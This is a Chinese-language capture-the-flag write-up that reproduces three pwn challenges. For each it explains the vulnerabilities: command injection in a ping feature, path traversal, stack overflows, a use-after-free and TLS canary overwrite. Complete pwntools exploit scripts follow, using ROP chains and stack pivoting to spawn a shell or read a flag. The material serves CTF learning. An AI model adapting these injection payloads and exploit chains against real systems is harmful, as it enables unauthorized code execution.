赞
踩
笔者没有参加此次比赛,由于团队后面会复现此次比赛,所以笔者在此进行复现记录。
考点:命令执行?+ 栈溢出
附件给了 docker 环境,可以直接在本地复现,但是 docker 我不会调试,幸好这题也不用调试。
程序没开 PIE,有 system,sh 字符串。然后在一开始的时候把 canary 写进了/secret/canary.txt 文件中。
漏洞1:
在 pingCommand 函数中对输入的字符检查不够严格,导致存在命令注入:例如我们可以通过 0;echo "data" 向 /tmp/result.txt 文件中写入内容。
这个环境好像没有 tac/less/more 等命令,然后 cat 被过滤了,所以这里似乎没办法直接读文件内容。还需要注意的是 sprintf 会被 \x00 截断,但是这个无关紧要的,可以 base 一下去除 \x00。
漏洞2:
这里首先存在目录穿越,也是对输入的文件名检查不严格导致。然后后面那个溢出漏洞很明显,其实大家写过程序都知道,对于文件的读取,一般都是根据文件大小去 malloc 一个对应的空间。而这里如果文件大小大于 72 则导致栈溢出。
1、先利用 CAT 功能配合目录穿越读取 canary
2、再利用 PING 功能往 result.txt 文件中写入 rop 链
3、最后利用 CAT 功能读取 result.txt 造成栈溢出
exp 如下:
- from pwn import *
- import base64
- context.terminal = ['tmux', 'splitw', '-h']
- context(arch = 'amd64', os = 'linux')
- #context(arch = 'i386', os = 'linux')
- #context.log_level = 'debug'
-
- #io = process("./pwn")
- io = remote("127.0.0.1", 9999)
- elf = ELF("./pwn")
- libc = elf.libc
-
- def debug():
- gdb.attach(io)
- pause()
-
- sd = lambda s : io.send(s)
- sda = lambda s, n : io.sendafter(s, n)
- sl = lambda s : io.sendline(s)
- sla = lambda s, n : io.sendlineafter(s, n)
- rc = lambda n : io.recv(n)
- rl = lambda : io.recvline()
- rut = lambda s : io.recvuntil(s, drop=True)
- ruf = lambda s : io.recvuntil(s, drop=False)
- addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
- addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
- addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
- addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
- byte = lambda n : str(n).encode()
- info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
- sh = lambda : io.interactive()
- menu = b''
-
- pop_rdi = 0x0000000000401ce3 # pop rdi ; ret
- sh_addr = 0x0000000000402090
- system = 0x00000000004018B2
-
-
- sla(b'name: ', b'XiaozaYa')
- sla(b'$ ', b'CAT')
- sla(b'view: ', b'../../secret/canary.txt')
- canary = int(rl(), 16)
- info("canary", canary)
-
- rop = b'A'*72 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi) + p64(sh_addr) + p64(system)
- rop = base64.b64encode(rop)
- pay = b'0;echo "' + rop + b'" | base64 -d'
- print(hex(len(pay)), ":", pay)
-
- sla(b'$ ', b'PING')
- sla(b'address: ', pay)
- sla(b'$ ', b'CAT')
- sla(b'view: ', b'result.txt')
-
- #debug()
- sh()
效果如下:
考点:栈溢出
没开 PIE,有后门,有栈溢出,其实没啥好说的了
read 那里溢出到了 canary,所以可以直接修改 canary 最后一个字节然后泄漏出 canary。后面一个白给的栈溢出,strcpy 存在 \x00 截断,所以 canary 分两次写即可。然后就直接跳到后门即可。
exp如下:
- from pwn import *
- context.terminal = ['tmux', 'splitw', '-h']
- context(arch = 'amd64', os = 'linux')
- #context(arch = 'i386', os = 'linux')
- #context.log_level = 'debug'
-
- io = process("./pwn")
- elf = ELF("./pwn")
- libc = elf.libc
-
- def debug():
- gdb.attach(io)
- pause()
-
- sd = lambda s : io.send(s)
- sda = lambda s, n : io.sendafter(s, n)
- sl = lambda s : io.sendline(s)
- sla = lambda s, n : io.sendlineafter(s, n)
- rc = lambda n : io.recv(n)
- rl = lambda : io.recvline()
- rut = lambda s : io.recvuntil(s, drop=True)
- ruf = lambda s : io.recvuntil(s, drop=False)
- addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
- addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
- addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
- addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
- byte = lambda n : str(n).encode()
- info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
- sh = lambda : io.interactive()
- menu = b''
-
- sda(b'name: ', b'A'*23 + b'X' + b'Y')
- rut(b'X')
- canary = addr8(8) - ord('Y')
- rbp = addr8(6)
- info("canary", canary)
- info("rbp", rbp)
-
- sla(b'): ', b'2')
-
- pay = b'A'*(0xA0 - 8) + p64(canary + ord('A')) + b'AAAAAAAA' + b'\xc3\x12\x40'
- sl(pay)
-
- sleep(0.01)
- pay = b'A'*(0xA0 - 8 - 0x20)
- sl(pay)
- #debug()
- sh()
效果如下:
考点:栈溢出,这题套一个堆的壳子,其实就是一个栈迁移打 orw 的题目
题目实现了一个菜单堆,这里就只说下漏洞点:
漏洞主要在 edit 函数中,首先就是一个贴脸的栈溢出,但是只溢出 0x10 字节,所以想利用的话基本就是栈迁移。
然后还有一个致命的漏洞,感觉非常莫名其妙,add 会申请两个堆块,其结构是这样的:
也就是说 edit 每次先修改的 0x100 上面的指针,然后在根据指针去写,那这不就是白给的 8 字节任意地址写吗?但是注意这里有个 *ptr = (unsigned __int8*)*ptr,这导致后面其实只能写一字节。
没有将指针置空,可以利用 UAF 去泄漏 libc_base/heap_base。由于这里使用的是 calloc 所以 double free 不好直接打,因为题目限制了堆块的大小在 [0x100, 0x200] 之间,所以不会落在 fastbin 中。
1、 UAF 泄漏 libc_base/heap_base
2、任意写修改 tcbhead_t 结构体中的 stack_guard 从而绕过 canary 保护
3、栈迁移到堆上打 orw
exp 如下:
- from pwn import *
- context.terminal = ['tmux', 'splitw', '-h']
- context(arch = 'amd64', os = 'linux')
- #context(arch = 'i386', os = 'linux')
- #context.log_level = 'debug'
-
- io = process("./pwn")
- elf = ELF("./pwn")
- libc = elf.libc
-
- def debug():
- gdb.attach(io)
- pause()
-
- sd = lambda s : io.send(s)
- sda = lambda s, n : io.sendafter(s, n)
- sl = lambda s : io.sendline(s)
- sla = lambda s, n : io.sendlineafter(s, n)
- rc = lambda n : io.recv(n)
- rl = lambda : io.recvline()
- rut = lambda s : io.recvuntil(s, drop=True)
- ruf = lambda s : io.recvuntil(s, drop=False)
- addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
- addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
- addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
- addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
- byte = lambda n : str(n).encode()
- info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
- sh = lambda : io.interactive()
- menu = b'Your choice:'
- def add(idx, size, data, flag=True):
- sla(menu, b'1')
- sla(b'Idx:', byte(idx))
- sla(b'Size:', byte(size))
- if flag:
- sda(b'Content:', data)
- else:
- sla(b'Content:', data)
-
- def edit(idx, data0, data1, flag=True):
- sla(menu, b'2')
- if flag:
- sda(b'Idx:', byte(idx))
- else:
- sda(b'Idx:', idx)
- sda(b'context1: ', data0)
- sda(b'context2: ', data1)
-
- def show(idx, cmd=0):
- sla(menu, b'3')
- sla(b'Your choice:', byte(cmd))
- sla(b'Idx:', byte(idx))
-
- def dele(idx):
- sla(menu, b'4')
- sla(b'Idx:', byte(idx))
-
- for i in range(6):
- add(i, 256, b'A\n')
-
- for i in range(1, 5):
- dele(i)
-
-
- show(2, 0)
- rut(b': ')
- heap_base = addr8(6) - 0x5d0
- info("heap_base", heap_base)
- show(4, 1)
- rut(b': ')
- libc_base = addr8(6) - 0x1ecbe0
- libc.address = libc_base
- TLS_canary = libc_base + 0x1f3568
- info("libc_base", libc_base)
- info("TLS_canary", TLS_canary)
-
- pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
- pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
- pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
- leave_ret = libc_base + 0x00000000000578c8 # leave ; ret
-
- orw = p64(pop_rdi) + p64(heap_base+0xcd8) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(libc.sym.open)
- orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x300) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.read)
- orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base+0x300) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.write)
- orw += b'./flag\x00\x00'
- info("orw len", len(orw))
- add(7, 256, orw)
-
- pay = b'0'.ljust(0x28, b'\x00') + b'A\x00\x00\x00\x00\x00\x00\x00' + p64(heap_base+0xc28) + p64(leave_ret)
- edit(pay, p64(TLS_canary), b'AAAAAAAA', False)
- #debug()
- sh()
效果如下:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。